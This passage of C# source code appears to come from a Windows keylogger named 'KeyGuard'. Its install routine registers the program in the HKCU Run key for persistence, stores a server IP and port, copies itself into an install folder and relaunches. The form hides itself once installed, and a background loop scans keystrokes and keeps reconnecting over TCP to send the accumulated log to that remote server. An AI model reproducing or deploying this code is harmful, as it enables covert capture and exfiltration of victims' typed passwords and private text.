formatValue = (ShiftIsDown?"_":"-");
break;
case 5:
formatValue = (ShiftIsDown?":":".");
break;
case 6:
formatValue = "<";
break;
case 7:
formatValue = "[Tab]";
break;
}
if (formatValue != "" && !CurrentDownKeys.Contains(FormatKeys[loop_a])) {
LogContainer.Append(formatValue);
CurrentDownKeys.Add(FormatKeys[loop_a]);
}
}
}
}
private void aboutToolStripMenuItem_Click(object sender, EventArgs e)
{
using(AboutBox1 abox = new AboutBox1())
abox.ShowDialog();
}
private void exitToolStripMenuItem_Click(object sender, EventArgs e)
{
this.Close();
}
private void btnInstallUpdate_Click(object sender, EventArgs e)
{
// Check given settings.
Regex KGIDregex = new Regex(@"([0-9]{10})");
Match KGIDmatch = KGIDregex.Match(txtProgramID.Text);
if (
txtProgramID.Text == "" ||
txtServerIP.Text == "" ||
txtServerPort.Text == ""
) {
MsgBox("Missing ID, IP or PORT.");
return;
} else if (!KGIDmatch.Success) {
MsgBox("ID must be a 10 digit number.");
return;
}
try {
// Update registry run key.
string RunKey = @"SOFTWARE\Microsoft\Windows\CurrentVersion\Run";
using(RegistryKey RK = Registry.CurrentUser.OpenSubKey(RunKey, true)) {
RK.SetValue("KeyGuard", InstallDirectory + ClientFileName);
RK.Close();
}
// Update registry settings.
string SettingsKey = @"SOFTWARE\KeyGuard";
using(RegistryKey RK = Registry.CurrentUser.CreateSubKey(SettingsKey)) {
RK.SetValue("ID", txtProgramID.Text);
RK.SetValue("IP", txtServerIP.Text);
RK.SetValue("Port", txtServerPort.Text);
RK.Close();
}
// Shut down any existing running client.
Process[] ClientProcs = Process.GetProcessesByName("KeyGuardPatrol");
foreach (Process P in ClientProcs)
P.Kill();
// Wait for the processes to actually die.
bool ProcessesStillAlive = true;
while (ProcessesStillAlive) {
ClientProcs = Process.GetProcessesByName("KeyGuardPatrol");
ProcessesStillAlive = false;
foreach (Process P in ClientProcs)
ProcessesStillAlive = true;
}
// Copy ourself onto the system.
Directory.CreateDirectory(InstallDirectory);
File.Copy(iClientFileName, InstallDirectory + ClientFileName, true);
// Execute ourselves.
Process.Start(InstallDirectory + ClientFileName);
// Done.
if (
MessageBox.Show("Install/Update OK.", "Install/Update", MessageBoxButtons.OK) ==
System.Windows.Forms.DialogResult.OK
)
this.Close();
} catch (Exception ee) {
MsgBox(ee.Message);
}
}
public enum vKeys
{
[Description("Left mouse button")]
VK_LBUTTON = 0x01,
[Description("Right mouse button")]
VK_RBUTTON = 0x02,
[Description("Control-break processing")]
VK_CANCEL = 0x03,
[Description("Middle mouse button (three-button mouse)")]
VK_MBUTTON = 0x04,
[Description("X1 mouse button")]
VK_XBUTTON1 = 0x05,
[Description("X2 mouse button")]
VK_XBUTTON2 = 0x06,
[Description("BACKSPACE key")]
VK_BACK = 0x08,
[Description("TAB key")]
VK_TAB = 0x09,
[Description("CLEAR key")]
VK_CLEAR = 0x0C,
[Description("ENTER key")]
VK_RETURN = 0x0D,
[Description("SHIFT key")]
VK_SHIFT = 0x10,
[Description("CTRL key")]
VK_CONTROL = 0x11,
[Description("ALT key")]
VK_MENU = 0x12,
[Description("PAUSE key")]
VK_PAUSE = 0x13,
[Description("CAPS LOCK key")]
VK_CAPITAL = 0x14,
[Description("IME Kana mode")]
VK_KANA = 0x15,
[Description("IME Hanguel mode (maintained for compatibility; use VK_HANGUL)")]
VK_HANGUEL = 0x15,
[Description("IME Hangul mode")]
VK_HANGUL = 0x15,
[Description("IME Junja mode")]
VK_JUNJA = 0x17,
[Description("IME final mode")]
VK_FINAL = 0x18,
[Description("IME Hanja mode")]
VK_HANJA = 0x19,
[Description("IME Kanji mode")]
VK_KANJI = 0x19,
[Description("ESC key")]
VK_ESCAPE = 0x1B,
[Description("IME convert")]
VK_CONVERT = 0x1C,
[Description("IME nonconvert")]
VK_NONCONVERT = 0x1D,
[Description("IME accept")]
VK_ACCEPT = 0x1E,
[Description("IME mode change request")]
VK_MODECHANGE = 0x1F,
[Description("SPACEBAR")]
VK_SPACE = 0x20,
[Description("PAGE UP key")]
VK_PRIOR = 0x21,
[Description("PAGE DOWN key")]
VK_NEXT = 0x22,
[Description("END key")]
VK_END = 0x23,
[Description("HOME key")]
VK_HOME = 0x24,
[Description("LEFT ARROW key")]
VK_LEFT = 0x25,
[Description("UP ARROW key")]
VK_UP = 0x26,
[Description("RIGHT ARROW key")]
VK_RIGHT = 0x27,
[Description("DOWN ARROW key")]
VK_DOWN = 0x28,
[Description("SELECT key")]
VK_SELECT = 0x29,
[Description("PRINT key")]
VK_PRINT = 0x2A,
[Description("EXECUTE key")]
VK_EXECUTE = 0x2B,
[Description("PRINT SCREEN key")]
VK_SNAPSHOT = 0x2C,
[Description("INS key")]
VK_INSERT = 0x2D,
[Description("DEL key")]
VK_DELETE = 0x2E,
[Description("HELP key")]
VK_HELP = 0x2F,
[Description("0 key")]
K_0 = 0x30,
[Description("1 key")]
K_1 = 0x31,
[Description("2 key")]
K_2 = 0x32,
[Description("3 key")]
K_3 = 0x33,
[Description("4 key")]
K_4 = 0x34,
[Description("5 key")]
K_5 = 0x35,
[Description("6 key")]
K_6 = 0x36,
[Description("7 key")]
K_7 = 0x37,
[Description("8 key")]
K_8 = 0x38,
[Description("9 key")]
K_9 = 0x39,
[Description("A key")]
K_A = 0x41,
[Description("B key")]
K_B = 0x42,
[Description("C key")]
K_C = 0x43,
[Description("D key")]
K_D = 0x44,
[Description("E key")]
K_E = 0x45,
[Description("F key")]
K_F = 0x46,
[Description("G key")]
K_G = 0x47,
[Description("H key")]
K_H = 0x48,
[Description("I key")]
K_I = 0x49,
[Description("J key")]
K_J = 0x4A,
[Description("K key")]
K_K = 0x4B,
[Description("L key")]
K_L = 0x4C,
[Description("M key")]
K_M = 0x4D,
[Description("N key")]
K_N = 0x4E,
[Description("O key")]
K_O = 0x4F,
[Description("P key")]
K_P = 0x50,
[Description("Q key")]
K_Q = 0x51,
[Description("R key")]
K_R = 0x52,
[Description("S key")]
K_S = 0x53,
[Description("T key")]
K_T = 0x54,
[Description("U key")]
K_U = 0x55,
[Description("V key")]
K_V = 0x56,
[Description("W key")]
K_W = 0x57,
[Description("X key")]
K_X = 0x58,
[Description("Y key")]
K_Y = 0x59,
[Description("Z key")]
K_Z = 0x5A,
[Description("Left Windows key (Natural keyboard)")]
VK_LWIN = 0x5B,
[Description("Right Windows key (Natural keyboard)")]
VK_RWIN = 0x5C,
[Description("Applications key (Natural keyboard)")]
VK_APPS = 0x5D,
[Description("Computer Sleep key")]
VK_SLEEP = 0x5F,
[Description("Numeric keypad 0 key")]
VK_NUMPAD0 = 0x60,
[Description("Numeric keypad 1 key")]
VK_NUMPAD1 = 0x61,
[Description("Numeric keypad 2 key")]
VK_NUMPAD2 = 0x62,
[Description("Numeric keypad 3 key")]
VK_NUMPAD3 = 0x63,
[Description("Numeric keypad 4 key")]
VK_NUMPAD4 = 0x64,
[Description("Numeric keypad 5 key")]
VK_NUMPAD5 = 0x65,
[Description("Numeric keypad 6 key")]
VK_NUMPAD6 = 0x66,
[Description("Numeric keypad 7 key")]
VK_NUMPAD7 = 0x67,
[Description("Numeric keypad 8 key")]
VK_NUMPAD8 = 0x68,
[Description("Numeric keypad 9 key")]
VK_NUMPAD9 = 0x69,
[Description("Multiply key")]
VK_MULTIPLY = 0x6A,
[Description("Add key")]
VK_ADD = 0x6B,
[Description("Separator key")]
VK_SEPARATOR = 0x6C,
[Description("Subtract key")]
VK_SUBTRACT = 0x6D,
[Description("Decimal key")]
VK_DECIMAL = 0x6E,
[Description("Divide key")]
VK_DIVIDE = 0x6F,
[Description("F1 key")]
VK_F1 = 0x70,
[Description("F2 key")]
VK_F2 = 0x71,
[Description("F3 key")]
VK_F3 = 0x72,
[Description("F4 key")]
VK_F4 = 0x73,
[Description("F5 key")]
VK_F5 = 0x74,
[Description("F6 key")]
VK_F6 = 0x75,
[Description("F7 key")]
VK_F7 = 0x76,
[Description("F8 key")]
VK_F8 = 0x77,
[Description("F9 key")]
VK_F9 = 0x78,
[Description("F10 key")]
VK_F10 = 0x79,
[Description("F11 key")]
VK_F11 = 0x7A,
[Description("F12 key")]
VK_F12 = 0x7B,
[Description("F13 key")]
VK_F13 = 0x7C,
[Description("F14 key")]
VK_F14 = 0x7D,
[Description("F15 key")]
VK_F15 = 0x7E,
[Description("F16 key")]
VK_F16 = 0x7F,
[Description("F17 key")]
VK_F17 = 0x80,
[Description("F18 key")]
VK_F18 = 0x81,
[Description("F19 key")]
VK_F19 = 0x82,
[Description("F20 key")]
VK_F20 = 0x83,
[Description("F21 key")]
VK_F21 = 0x84,
[Description("F22 key")]
VK_F22 = 0x85,
[Description("F23 key")]
VK_F23 = 0x86,
[Description("F24 key")]
VK_F24 = 0x87,
[Description("NUM LOCK key")]
VK_NUMLOCK = 0x90,
[Description("SCROLL LOCK key")]
VK_SCROLL = 0x91,
[Description("Left SHIFT key")]
VK_LSHIFT = 0xA0,
[Description("Right SHIFT key")]
VK_RSHIFT = 0xA1,
[Description("Left CONTROL key")]
VK_LCONTROL = 0xA2,
[Description("Right CONTROL key")]
VK_RCONTROL = 0xA3,
[Description("Left MENU key")]
VK_LMENU = 0xA4,
[Description("Right MENU key")]
VK_RMENU = 0xA5,
[Description("Browser Back key")]
VK_BROWSER_BACK = 0xA6,
[Description("Browser Forward key")]
VK_BROWSER_FORWARD = 0xA7,
[Description("Browser Refresh key")]
VK_BROWSER_REFRESH = 0xA8,
[Description("Browser Stop key")]
VK_BROWSER_STOP = 0xA9,
[Description("Browser Search key")]
VK_BROWSER_SEARCH = 0xAA,
[Description("Browser Favorites key")]
VK_BROWSER_FAVORITES = 0xAB,
[Description("Browser Start and Home key")]
VK_BROWSER_HOME = 0xAC,
[Description("Volume Mute key")]
VK_VOLUME_MUTE = 0xAD,
[Description("Volume Down key")]
VK_VOLUME_DOWN = 0xAE,
[Description("Volume Up key")]
VK_VOLUME_UP = 0xAF,
[Description("Next Track key")]
VK_MEDIA_NEXT_TRACK = 0xB0,
[Description("Previous Track key")]
VK_MEDIA_PREV_TRACK = 0xB1,
[Description("Stop Media key")]
VK_MEDIA_STOP = 0xB2,
[Description("Play/Pause Media key")]
VK_MEDIA_PLAY_PAUSE = 0xB3,
[Description("Start Mail key")]
VK_LAUNCH_MAIL = 0xB4,
[Description("Select Media key")]
VK_LAUNCH_MEDIA_SELECT = 0xB5,
[Description("Start Application 1 key")]
VK_LAUNCH_APP1 = 0xB6,
[Description("Start Application 2 key")]
VK_LAUNCH_APP2 = 0xB7,
[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the ';:' key")]
VK_OEM_1 = 0xBA,
[Description("For any country/region, the '+' key")]
VK_OEM_PLUS = 0xBB,
[Description("For any country/region, the ',' key")]
VK_OEM_COMMA = 0xBC,
[Description("For any country/region, the '-' key")]
VK_OEM_MINUS = 0xBD,
[Description("For any country/region, the '.' key")]
VK_OEM_PERIOD = 0xBE,
[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '/?' key")]
VK_OEM_2 = 0xBF,
[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '`~' key")]
VK_OEM_3 = 0xC0,
[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '[{' key")]
VK_OEM_4 = 0xDB,
[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '\\|' key")]
VK_OEM_5 = 0xDC,
[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the ']}' key")]
VK_OEM_6 = 0xDD,
[Description("Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the 'single-quote/double-quote' key")]
VK_OEM_7 = 0xDE,
[Description("Used for miscellaneous characters; it can vary by keyboard.")]
VK_OEM_8 = 0xDF,
[Description("Either the angle bracket key or the backslash key on the RT 102-key keyboard")]
VK_OEM_102 = 0xE2,
[Description("IME PROCESS key")]
VK_PROCESSKEY = 0xE5,
[Description("Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods. For more information, see Remark in KEYBDINPUT, SendInput, WM_KEYDOWN, and WM_KEYUP")]
VK_PACKET = 0xE7,
[Description("Attn key")]
VK_ATTN = 0xF6,
[Description("CrSel key")]
VK_CRSEL = 0xF7,
[Description("ExSel key")]
VK_EXSEL = 0xF8,
[Description("Erase EOF key")]
VK_EREOF = 0xF9,
[Description("Play key")]
VK_PLAY = 0xFA,
[Description("Zoom key")]
VK_ZOOM = 0xFB,
[Description("PA1 key")]
VK_PA1 = 0xFD,
[Description("Clear key")]
VK_OEM_CLEAR = 0xFE,
}
private void MsgBox(string s)
{
MessageBox.Show(s, "KeyGuard", MessageBoxButtons.OK);
}
private void Form1_Load(object sender, EventArgs e)
{
if (Installed)
this.Hide();
}
private void bkWorker_DoWork(object sender, DoWorkEventArgs e)
{
// Try to connect and stay connected.
// Reconnect if possible when disconnected.
while (EngineRunning) {
// Keep it CPU friendly... Sorta.
Thread.Sleep(1);
// Peek keys for GetKeyState, but do not remove it (0x0000).
PeekMessage(out msg, IntPtr.Zero, 0, 0, 0x0000);
// Scan for keys.
if (Installed)
KeyScan();
// Check if we're connected.
if (!Client.Connected || !ClientStillConnected) {
Thread.Sleep(2000);
try { ClientStream.Close(); Client.Close(); } catch (Exception) { /* Quick release. */ }
try {
Client = new TcpClient();
Client.Connect(IPAddress.Parse(Settings[1]), Int32.Parse(Settings[2]));
ClientStream = Client.GetStream();
ClientStream.WriteTimeout = 5000;
ClientStream.ReadTimeout = 5000;
ClientStillConnected = true;
HasGreeted = false;
} catch (Exception ee) {
if (Debugging)
MsgBox("bkWorker_DoWork(): "+ ee.Message);
// (Re)Connection failed, no point trying to send.
continue;
}
}
SendLog();
}
}
}
}